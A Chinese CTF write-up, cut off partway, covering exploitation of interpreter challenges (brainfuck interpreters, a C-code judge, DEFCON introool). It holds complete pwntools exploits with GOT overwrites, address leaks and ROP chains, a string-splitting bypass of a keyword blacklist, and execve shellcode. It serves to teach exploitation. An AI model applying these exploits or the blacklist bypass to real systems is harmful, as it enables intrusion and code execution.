本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/208940
安全客 – 有思想的安全新媒体

0x01 写在前面

在近期的比赛中,发现解释器类型的题目越来越多,因此决定进行一个专项的题目总结。

  1. Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
  2. 2020 RCTF bf:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。
  3. 2020 DAS-CTF OJ0:此题是直接让我们写程序来读flag,而我们读flag时又需要绕过一些题目的过滤语句~
  4. DEFCON CTF Qualifier 2020 introool:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。
  5. [Redhat2019] Kaleidoscope:此题创新性的使用了fuzz来解题。
  6. 2020 DAS-CTF OJ1:此题仍然为直接让我们写程序来读flag,但是他限制了所有括号的使用!

0x02 什么是解释器

解释器(英语Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。

0x03 以 pwnable bf 为例

题目信息

image-20200612195639161

32位程序,开启了NXCanaryGlibc 2.23

根据题目所述信息,这是一个brainfuck语言的解释器。

由于brainfuck语言本身十分简单,因此本题中的核心处理逻辑就是brainfuck语言本身的处理逻辑。

image-20200612200215551

漏洞分析

我们分析发现,此程序本身并没有可利用的漏洞,那么我们就可以利用brainfuck语言本身的特性来完成利用,因为题目没有对我们可操作的指针p做任何限制,也就是说,我们可以直接利用brainfuck语言本身来进行任意地址读写,那么我们的思路就很明显了,利用指针移动将p移动到got表,劫持got表内容即可。

我们决定将putchar@got改为_start,将memset@got改为gets@got,将fgets@got改为system@got

漏洞利用

首先,以下信息是我们已知的:

getchar@got位于 : 0x0804A00C
fgets@got位于   : 0x0804A010
memset@got位于  : 0x0804A02C
putchar@got位于 : 0x0804A030
p 指针地址       : 0x0804A080

接下来我们开始构造payload:

  1. 首先执行一次getchar函数。
    payload  = ','
    
  2. 将指针p<操作符移动到getchar@got
    payload += '<' * 0x70
    
  3. 然后逐位输出getchar@got的值。
    payload += '.>.>.>.>'
    
  4. 然后继续篡改fgets@gotsystem@got
    payload += ',>,>,>,>'
    
  5. 移动指针到memset@got
    payload += '>' * 0x18
    
  6. 篡改memset@gotgets@got
    payload += ',>,>,>,>'
    
  7. 继续篡改putchar@gotmain
    payload += ',>,>,>,>'
    
  8. 触发putchar函数。
    payload += '.'
    

FInal Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

bf=ELF('./bf', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./BUUOJ_libc/libc-2.23-32.so", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./bf")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./bf")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        payload  = ','
        payload += '<' * 0x94
        payload += '.>.>.>.>'
        payload += ',>,>,>,>'
        payload += '>' * 0x18
        payload += ',>,>,>,>'
        payload += ',>,>,>,>'
        payload += '.'
        sh.recvuntil('type some brainfuck instructions except [ ]') 
        sh.sendline(payload)
        sh.send('\x01')
        libc.address = get_address(sh=sh,info='LIBC ADDRESS --> ',start_string='\n',address_len=4,offset=-libc.symbols['getchar'])
        for i in p32(libc.symbols['system']):
            sh.send(i)
        for i in p32(libc.symbols['gets']):
            sh.send(i)
        for i in p32(0x08048671):
            sh.send(i)
        sh.sendline('/bin/sh')
        sh.interactive()
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh(Use_other_libc=True)
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x04 以 2020 RCTF bf 为例

题目信息

image-20200612220441602

64位程序,保护全开,Glibc 2.27

根据题目所述信息,这是一个brainfuck语言的解释器。

这道题目的难度就要比pwnable bf难得多,首先,题目整体使用了C++编写,这对于我们的逆向造成了一定的难度。

然后,本题的操作指针p位于栈上,且做了溢出保护:

image-20200612221326375

指针的前后移动不允许超出局部变量scode的范围。

然后和pwnable bf相比,支持了[]命令:

image-20200612222758738

brainfuck官方文档中:

[ : 如果指针指向的单元值为零,向后跳转到对应的 ] 指令的次一指令处。
] : 如果指针指向的单元值不为零,向前跳转到对应的 [ 指令的次一指令处。
[ 等价于 while (*ptr) {
] 等价于 }

漏洞分析

那么接下来,我们来做一个越界测试,我们写一个如下所示的程序:

ptr++;
while(*ptr){
    ptr++;
    putchar(ptr);
    (*ptr++);
}
getchar(ptr);

我们决定将putchar@got改为_start,将memset@got改为gets@got,将fgets@got改为system@got

我们可以将其理解成一个简单的fuzz程序,如果无漏洞发生,应当getchar(ptr);永远不会被执行,直到ptr越界指向非法内存而报错。

将其写为brainfuck程序应当为+[>.+],,我们输入到程序看看结果。

image-20200612230033926

程序停了下来!说明此程序中的[]的操作符实现必定存在问题,那么我们来看看我们读入的那一个字符被写到了哪里。

sh.recvuntil('enter your code:')
get_gdb(sh)
sh.sendline('+[>.+],')

这是执行代码前的栈情况:

gef➤  x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0  0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000100000007  0x00007f1cc12147ca
0x7ffcc837f400: 0x00007f1cc11fa901  0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0  0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0  0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70  0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0  0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0  0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0  0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0  0x00005566d3bb3e88
0x7ffcc837f480: 0x0000000000000000  0x0000000000000000
......
0x7ffcc837f870: 0x0000000000000000  0x0000000000000000
0x7ffcc837f880: 0x00007ffcc837f890  0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b  0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980  0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0  0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980  0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90  0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90  0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000  0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420  0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000  0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed  0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000  0x0000000000000000
0x7ffcc837f940: 0x0000000000000000  0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8  0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000  0x0000000000000000
0x7ffcc837f970: 0x0000000000000000  0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0  0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998  0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001  0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000  0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390  0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa  0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430  0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452  0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2  0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501  0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f  0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540  0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579  0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2  0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659  0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684  0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3  0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4  0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747  0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774  0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc  0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1  0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805  0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846  0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884  0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1  0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f  0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949  0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993  0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd  0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8  0x00007ffcc8381fe4

这是执行后的栈情况:

gef➤  x/400gx $rsp
0x7ffcc837f3e0: 0x00007f1cc11f99e0  0x010a7f1cc0e9aef0
0x7ffcc837f3f0: 0x0000000700000007  0x00007ffcc837f880
0x7ffcc837f400: 0x00007f1cc11fa901  0x0000000000000000
0x7ffcc837f410: 0x00005566d3bb40d0  0x00005566d3bb4100
0x7ffcc837f420: 0x00005566d3bb40d0  0x0000000000000002
0x7ffcc837f430: 0x00005566d3bb3e70  0x0000000000000008
0x7ffcc837f440: 0x00005566d3bb3ec0  0x00005566d3bb3ec0
0x7ffcc837f450: 0x00005566d3bb40c0  0x00005566d3bb3e88
0x7ffcc837f460: 0x00005566d3bb3ec0  0x00005566d3bb3ec0
0x7ffcc837f470: 0x00005566d3bb40c0  0x00005566d3bb3e88
0x7ffcc837f480: 0x0101010101010101  0x0101010101010101
......
0x7ffcc837f870: 0x0101010101010101  0x0101010101010101
0x7ffcc837f880: 0x00007ffcc837f841  0x0000000000000007
0x7ffcc837f890: 0x002c5d2b2e3e5b2b  0x0000000000000000
0x7ffcc837f8a0: 0x00005566d35f4980  0xca398a01bea61c00
0x7ffcc837f8b0: 0x00007ffcc837f9a0  0x0000000000000000
0x7ffcc837f8c0: 0x00005566d35f4980  0x00007f1cc088cb97
0x7ffcc837f8d0: 0xffffffffffffff90  0x00007ffcc837f9a8
0x7ffcc837f8e0: 0x00000001ffffff90  0x00005566d35f1684
0x7ffcc837f8f0: 0x0000000000000000  0xacc40576de043fed
0x7ffcc837f900: 0x00005566d35f1420  0x00007ffcc837f9a0
0x7ffcc837f910: 0x0000000000000000  0x0000000000000000
0x7ffcc837f920: 0xf9f033a7bca43fed  0xf83022d9db9a3fed
0x7ffcc837f930: 0x0000000000000000  0x0000000000000000
0x7ffcc837f940: 0x0000000000000000  0x00007f1cc120d733
0x7ffcc837f950: 0x00007f1cc11ed2b8  0x0000000000198d4c
0x7ffcc837f960: 0x0000000000000000  0x0000000000000000
0x7ffcc837f970: 0x0000000000000000  0x00005566d35f1420
0x7ffcc837f980: 0x00007ffcc837f9a0  0x00005566d35f144a
0x7ffcc837f990: 0x00007ffcc837f998  0x000000000000001c
0x7ffcc837f9a0: 0x0000000000000001  0x00007ffcc8381335
0x7ffcc837f9b0: 0x0000000000000000  0x00007ffcc838133a
0x7ffcc837f9c0: 0x00007ffcc8381390  0x00007ffcc83813e8
0x7ffcc837f9d0: 0x00007ffcc83813fa  0x00007ffcc838141b
0x7ffcc837f9e0: 0x00007ffcc8381430  0x00007ffcc8381441
0x7ffcc837f9f0: 0x00007ffcc8381452  0x00007ffcc8381460
0x7ffcc837fa00: 0x00007ffcc83814e2  0x00007ffcc83814ed
0x7ffcc837fa10: 0x00007ffcc8381501  0x00007ffcc838150c
0x7ffcc837fa20: 0x00007ffcc838151f  0x00007ffcc8381530
0x7ffcc837fa30: 0x00007ffcc8381540  0x00007ffcc8381550
0x7ffcc837fa40: 0x00007ffcc8381579  0x00007ffcc8381590
0x7ffcc837fa50: 0x00007ffcc83815e2  0x00007ffcc8381637
0x7ffcc837fa60: 0x00007ffcc8381659  0x00007ffcc838166f
0x7ffcc837fa70: 0x00007ffcc8381684  0x00007ffcc83816b0
0x7ffcc837fa80: 0x00007ffcc83816c3  0x00007ffcc83816d0
0x7ffcc837fa90: 0x00007ffcc83816e4  0x00007ffcc8381718
0x7ffcc837faa0: 0x00007ffcc8381747  0x00007ffcc8381759
0x7ffcc837fab0: 0x00007ffcc8381774  0x00007ffcc8381793
0x7ffcc837fac0: 0x00007ffcc83817bc  0x00007ffcc83817d0
0x7ffcc837fad0: 0x00007ffcc83817e1  0x00007ffcc83817f3
0x7ffcc837fae0: 0x00007ffcc8381805  0x00007ffcc8381826
0x7ffcc837faf0: 0x00007ffcc8381846  0x00007ffcc8381864
0x7ffcc837fb00: 0x00007ffcc8381884  0x00007ffcc8381895
0x7ffcc837fb10: 0x00007ffcc83818f1  0x00007ffcc8381903
0x7ffcc837fb20: 0x00007ffcc838191f  0x00007ffcc8381932
0x7ffcc837fb30: 0x00007ffcc8381949  0x00007ffcc8381976
0x7ffcc837fb40: 0x00007ffcc8381993  0x00007ffcc838199b
0x7ffcc837fb50: 0x00007ffcc83819cd  0x00007ffcc83819e1
0x7ffcc837fb60: 0x00007ffcc83819f8  0x00007ffcc8381fe4

请注意0x7ffcc837f880处的代码,可以发现,我们可以越界写一个字符,而这个位置恰好储存了我们的代码区域的地址,那么我们事实上可以将其修改到返回地址处,这样我们就可以程序做任意地址跳转,并且发现程序会打印我们输入的代码内容,那么我们就可以利用无截断来泄露信息。

漏洞利用

  1. 首先我们需要先泄露原本的bf_code的地址末位。
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.recvuntil('\x00' * 0x3FF)
    code_low_addr = u64(sh.recv(1).ljust(8,'\x00'))
    success("code low bit --> " + str(hex(code_low_addr)))
    
  2. 接下来我们进行低位覆盖,将bf_code移动到bf_code + 0x20的位置上,在那之后我们就能获取到ESP的值。
    payload = code_low_addr + 0x20
    payload = p8((payload) & 0xFF)
    sh.send(payload)
    sh.recvuntil("done! your code: ")
    esp_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x5C0
    info('ESP addr-->'+str(hex(esp_addr)))
    
  3. 接下来我们选择不跳出循环。
    sh.recvuntil('want to continue?')
    sh.send('y')
    
  4. 重复刚才的步骤,低位覆盖,将bf_code移动到bf_code + 0x38的位置上,在那之后我们能获取到LIBC的基址。
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr + 0x38) & 0xFF))
    sh.recvuntil("done! your code: ")
    libc.address = u64(sh.recv(6).ljust(8,'\x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
    info('LIBC ADDRESS --> ' + str(hex(libc.address)))
    
  5. 接下来我们选择不跳出循环。
    sh.recvuntil('want to continue?')
    sh.send('y')
    
  6. 重复刚才的步骤,低位覆盖,将bf_code移动到bf_code + 0x30的位置上,在那之后我们获取到程序加载基址。

    同时这又是RBP的位置。

    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr + 0x30) & 0xFF))
    sh.recvuntil("done! your code: ")
    PIE_address = u64(sh.recv(6).ljust(8,'\x00')) - 0x4980
    info('PIE ADDRESS --> ' + str(hex(PIE_address)))
    
  7. 接下来我们可以构造ROP链,首先列出我们需要利用的gadgets
    0x000000000002155f: pop rdi; ret;
    0x0000000000023e6a: pop rsi; ret;
    0x0000000000001b96: pop rdx; ret;
    0x00000000000439c8: pop rax; ret;
    0x00000000000d2975: syscall; ret;
    

    那么我们可以构造如下ROP chain

    # read(0,BSS+0x400,0x20)
    ROP_chain  = p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x400)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # open(BSS+0x400,0)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(PIE_address + bf.bss() + 0x400)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(2)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # read(3,BSS+0x500,0x20)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(3)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x500)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # write(0,BSS+0x500,0x20)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x0000000000023e6a)
    ROP_chain += p64(PIE_address + bf.bss() + 0x500)
    ROP_chain += p64(libc.address + 0x0000000000001b96)
    ROP_chain += p64(0x20)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(1)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    # exit(0)
    ROP_chain += p64(libc.address + 0x000000000002155f)
    ROP_chain += p64(0)
    ROP_chain += p64(libc.address + 0x00000000000439c8)
    ROP_chain += p64(60)
    ROP_chain += p64(libc.address + 0x00000000000d2975)
    for i in ['[',']']:
       if i in ROP_chain:
           raise ValueError('ROP_chain ERROR')
    
  8. 接下来我们选择不跳出循环。
    sh.recvuntil('want to continue?')
    sh.send('y')
    
  9. 覆盖返回地址,并恢复code指针。
    sh.recvuntil('enter your code:')
    sh.sendline(p64(0) + ROP_chain)
    
    sh.recvuntil('want to continue?')
    sh.send('y')
    
    sh.recvuntil('enter your code:')
    sh.sendline('+[>.+],')
    sh.send(p8((code_low_addr) & 0xFF))
    sh.send(p8((code_low_addr) & 0xFF))
    
  10. 跳出循环即可获取flag

    image-20200613220048640

FInal Exploit

⚠️:概率成功,因为有概率我们不能成功的触发[]的漏洞。

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

bf=ELF('./bf', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./bf")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./bf")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    while True:
        try:
            sh = get_sh()
            # Your Code here
            sh.recvuntil('enter your code:' , timeout = 0.3)
            sh.sendline('+[>.+],')
            sh.recvuntil('\x00' * 0x3FF)
            code_low_addr = u64(sh.recv(1).ljust(8,'\x00'))
            success("code low bit --> " + str(hex(code_low_addr)))

            payload = code_low_addr + 0x20
            payload = p8((payload) & 0xFF)
            sh.send(payload)
            sh.recvuntil("done! your code: ", timeout = 0.3)
            esp_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x5C0
            info('ESP addr-->'+str(hex(esp_addr)))

            sh.recvuntil('want to continue?' , timeout = 0.3)
            sh.send('y')

            sh.recvuntil('enter your code:' , timeout = 0.3)
            sh.sendline('+[>.+],')
            sh.send(p8((code_low_addr + 0x38) & 0xFF))
            sh.recvuntil("done! your code: ", timeout = 0.3)
            libc.address = u64(sh.recv(6).ljust(8,'\x00')) + 0x00007fd6723b7000 - 0x7fd6723d8b97
            info('LIBC ADDRESS --> ' + str(hex(libc.address)))

            sh.recvuntil('want to continue?' , timeout = 0.3)
            sh.send('y')

            sh.recvuntil('enter your code:' , timeout = 0.3)
            sh.sendline('+[>.+],')
            sh.send(p8((code_low_addr + 0x30) & 0xFF))
            sh.recvuntil("done! your code: ", timeout = 0.3)
            PIE_address = u64(sh.recv(6).ljust(8,'\x00')) - 0x4980
            info('PIE ADDRESS --> ' + str(hex(PIE_address)))

            # read(0,BSS+0x400,0x20)
            ROP_chain  = p64(libc.address + 0x000000000002155f)
            ROP_chain += p64(0)
            ROP_chain += p64(libc.address + 0x0000000000023e6a)
            ROP_chain += p64(PIE_address + bf.bss() + 0x400)
            ROP_chain += p64(libc.address + 0x0000000000001b96)
            ROP_chain += p64(0x20)
            ROP_chain += p64(libc.address + 0x00000000000439c8)
            ROP_chain += p64(0)
            ROP_chain += p64(libc.address + 0x00000000000d2975)
            # open(BSS+0x400,0)
            ROP_chain += p64(libc.address + 0x000000000002155f)
            ROP_chain += p64(PIE_address + bf.bss() + 0x400)
            ROP_chain += p64(libc.address + 0x0000000000023e6a)
            ROP_chain += p64(0)
            ROP_chain += p64(libc.address + 0x00000000000439c8)
            ROP_chain += p64(2)
            ROP_chain += p64(libc.address + 0x00000000000d2975)
            # read(3,BSS+0x500,0x20)
            ROP_chain += p64(libc.address + 0x000000000002155f)
            ROP_chain += p64(3)
            ROP_chain += p64(libc.address + 0x0000000000023e6a)
            ROP_chain += p64(PIE_address + bf.bss() + 0x500)
            ROP_chain += p64(libc.address + 0x0000000000001b96)
            ROP_chain += p64(0x20)
            ROP_chain += p64(libc.address + 0x00000000000439c8)
            ROP_chain += p64(0)
            ROP_chain += p64(libc.address + 0x00000000000d2975)
            # write(0,BSS+0x500,0x20)
            ROP_chain += p64(libc.address + 0x000000000002155f)
            ROP_chain += p64(1)
            ROP_chain += p64(libc.address + 0x0000000000023e6a)
            ROP_chain += p64(PIE_address + bf.bss() + 0x500)
            ROP_chain += p64(libc.address + 0x0000000000001b96)
            ROP_chain += p64(0x20)
            ROP_chain += p64(libc.address + 0x00000000000439c8)
            ROP_chain += p64(1)
            ROP_chain += p64(libc.address + 0x00000000000d2975)
            # exit(0)
            ROP_chain += p64(libc.address + 0x000000000002155f)
            ROP_chain += p64(0)
            ROP_chain += p64(libc.address + 0x00000000000439c8)
            ROP_chain += p64(60)
            ROP_chain += p64(libc.address + 0x00000000000d2975)
            for i in ['[',']']:
                if i in ROP_chain:
                    raise ValueError('ROP_chain ERROR')

            sh.recvuntil('want to continue?' , timeout = 0.3)
            sh.send('y')

            sh.recvuntil('enter your code:' , timeout = 0.3)
            sh.sendline(p64(0) + ROP_chain)

            sh.recvuntil('want to continue?' , timeout = 0.3)
            sh.send('y')

            sh.recvuntil('enter your code:' , timeout = 0.3)
            sh.sendline('+[>.+],')
            sh.send(p8((code_low_addr) & 0xFF))
            sh.send(p8((code_low_addr) & 0xFF))

            # get_gdb(sh)
            sh.recvuntil('want to continue?' , timeout = 0.3)
            sh.send('n')

            sh.send('/flag')
            # sh.interactive()
            flag = sh.recvrepeat(0.3)
            sh.close()
            return flag
        except Exception as e:
            traceback.print_exc()
            sh.close()
            continue

if __name__ == "__main__":
    flag = Attack()
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

0x05 以 2020 DAS-CTF OJ0 为例

安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址

题目信息

image-20200614095305758

可以发现,这是一个C语言的解释器,可以执行我们输入的任意代码,然后依据题目要求输出指定信息后,会执行tree /home/ctf命令,从而告知我们flag文件的具体位置。

接下来我们需要构造代码进行flag的读取。

漏洞利用

根据题目信息回显,可以发现,题目应该是存在有黑名单机制,那么我们不考虑启动shell,转而考虑使用ORW的方式获取flag,那么最简单的程序:

#include<stdio.h>
int main(){
    char buf[50]; 
    char path[50] = "/home/ctf/flag\x00"; 
    int fd = open(path);
    read(fd,buf,50);
    write(1,buf,50);
}@

image-20200614100007237

可以发现被过滤了,那么考虑黑名单应该会检测整段代码,以防止出现homectfflag等敏感字符,那么我们可以利用string函数进行字符串的拼接来绕过保护。

FInal Exploit

#include<stdio.h>
#include<string.h>
int main(){
    char buf[50]; 
    char path_part_1[5] = "/hom"; 
    char path_part_2[5] = "e/ct"; 
    char path_part_3[5] = "f/fl"; 
    char path_part_4[5] = "ag\x00"; 
    char path[20];
    sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
    int fd = open(path);
    read(fd,buf,50);
    write(1,buf,50);
}@

image-20200614100750776

0x06 以 DEFCON CTF Qualifier 2020 introool 为例

题目地址:https://github.com/o-o-overflow/dc2020q-introool-public

题目信息

无二进制文件,拉取项目直接启动docker即可

  1. 题目要求首先给出一个用于填充的字符,要求这个字符必须大于等于0x80
  2. 接下来要求给出填充的长度,这个长度要求介于0x80~0x800之间。
  3. 接下来询问要patch哪个地址处的字节,用于patch的字符是什么。
  4. 接下来再次询问要patch哪个地址处的字节,用于patch的字符是什么。
  5. 最后要求给出三个ROP gadgets
  6. 在我们给定了以上参数之后,程序会生成一个ELF文件,我们可以运行它,也可以查看其内容。

image-20200614220655468

生成的ELF文件仅开启了NX保护

经过反编译我们可以看到,我们的patch是从0x4000EC,也就是main + 4处开始,最短填充至0x40016Cmain函数对应的汇编码就为:

push rbp
mov  rbp,rsp
[patch data]
mov  eax,0
pop  rbp
ret

然后我们写入的三个ROP_gadgets将会被写入到bss段。

image-20200614221531039

栈上将填满环境变量,这将导致我们正常情况下的main函数返回值将会是一个非法值。

漏洞利用

那么对于这道题目,我们利用的是ELF文件的一个特性:

当数据段未页对齐时,其中的内容将也被映射到text段的末尾。

也就是说,对于这个题目来说,位于bss段的ROP_gadgets将会被映射到text段中,

image-20200614223416354

那么,如果我们将ROP_gadgets替换为shellcode,再利用patch加入跳转指令,跳转至shellcode即可。

可以使用ret rel8形式的跳转,这种跳转的通常为EB XX,例如本题应该使用EB 46代表的汇编语句是jmp 0x48,但是,这里的0x48是相对地址,相对于本条地址的偏移,例如我们将0x40068处的代码改为jmp 0x48,反汇编后,这里的代码将显示为jmp 0x4001B0

image-20200614230448199

那么,我们接下来直接去exploit-db寻找好用的shellcode即可:

0000000000400080 <_start>:
  400080:   50                      push   %rax
  400081:   48 31 d2                xor    %rdx,%rdx
  400084:   48 31 f6                xor    %rsi,%rsi
  400087:   48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx
  40008e:   2f 73 68 
  400091:   53                      push   %rbx
  400092:   54                      push   %rsp
  400093:   5f                      pop    %rdi
  400094:   b0 3b                   mov    $0x3b,%al
  400096:   0f 05                   syscall

FInal Exploit

from pwn import *
import traceback
import sys
import base64
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

# file_name=ELF('./file_name', checksec = False)

if context.arch == 'amd64':
